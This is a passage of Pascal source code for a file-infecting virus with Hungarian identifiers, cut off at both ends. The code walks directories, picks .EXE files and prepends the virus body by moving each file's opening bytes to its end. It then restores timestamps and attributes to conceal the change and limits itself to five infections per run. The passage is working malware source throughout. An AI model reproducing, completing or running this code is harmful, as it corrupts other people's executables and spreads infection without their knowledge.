st(fileneve,Anyfile,fefa);
   if doserror=0 then begin
   if fefa.size>virushossz+10 then begin;
   assign(fef,fefa.name);
   windos.getfattr(fef,regia);
   windos.setfattr(fef,archive);
   reset(fef,1);
   windos.getftime(fef,regit);
   if fertozott(fefa)<>true then begin
    seek(fef,0);
    blockread(fef,exebuffer,virushossz);
    seek(fef,0);
    blockwrite(fef,virusbuffer,virushossz);
    seek(fef,fefa.size);
    blockwrite(fef,exebuffer,virushossz);
    keygen;
    blockwrite(fef,k,10);
    windos.setftime(fef,regit);
    eddig:=eddig+1;
   end;
    close(fef);
    windos.setfattr(fef,regia);
  end;
  end;
end;
Procedure fertozes(path : PathStr);       {This one searches subdirs of the}

                                          {Path given as parameter and     }

Var SearchFile : SearchRec;               {Infects them (Max. 5 files/run  }

begin
  if Path[Length(Path)] <> '\' then
    Path := Path + '\';
  FindFirst(Path + '*.*', $37, SearchFile);
  While (DosError = 0) and (eddig<5) do
  begin
    if ((SearchFile.Attr and $10) = $10) and (SearchFile.Name[1] <> '.') and
 (eddig<5) then
      Fertozes(Path + SearchFile.Name)
    else
    if (Pos('.EXE',SearchFile.Name)<>0) and (eddig<5) then begin
      fertoz(Path,SearchFile.Name);
    end;
    if (eddig<5) then FindNext(SearchFile);
  end;
end;
procedure inicializacio;
var inf:file;
begin
    assign(inf,paramstr(fuck));                   {Open current f